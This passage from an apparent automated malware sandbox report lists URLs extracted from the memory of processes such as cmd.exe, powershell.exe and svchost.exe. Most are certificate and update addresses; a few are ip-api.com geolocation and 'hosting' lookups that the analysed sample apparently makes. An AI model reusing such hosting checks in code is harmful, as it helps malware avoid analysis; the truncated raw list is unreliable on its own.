00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: cmd.exe, 00000001.00000003.2093290332.000001C91692B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097775097.000001C91692B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodo
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: cmd.exe, 00000001.00000003.2093373863.000001C916899000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C91689F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2094158420.000001C916A4C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091622217.000001C9172D4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098181840.000001C916A4D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1936844561.0000022BF4E10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2946092630.00000240CA6B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1915922706.00000216A4AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cmd.exe, 00000001.00000003.2092429001.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1756903455.000001C91687D000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C91686B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoi
Source: powershell.exe, 0000000A.00000002.1944041787.0000022BF5308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000A.00000002.1941584429.0000022BF4FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsus
Source: cmd.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: cmd.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: powershell.exe, 0000000A.00000002.1936844561.0000022BF4E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 0000001C.00000002.2945905884.00000240CA600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: _lzma.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: cmd.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: cmd.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: cmd.exe, 00000001.00000003.1711840734.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710834242.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1707179329.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1713839904.000001C916513000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710533213.000001C916513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-
Source: cmd.exe, 00000001.00000003.1710834242.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.28.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: cmd.exe, 00000001.00000002.2096563852.000001C916813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr;
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr;r
Source: powershell.exe, 0000000A.00000002.1921700261.0000022BECA36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CC80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168E42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: cmd.exe	String found in binary or memory: http://ocsp.sectigo.com0$
Source: cmd.exe, 00000000.00000002.2112093875.00000162C4338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigoc
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDC9C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168CAC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 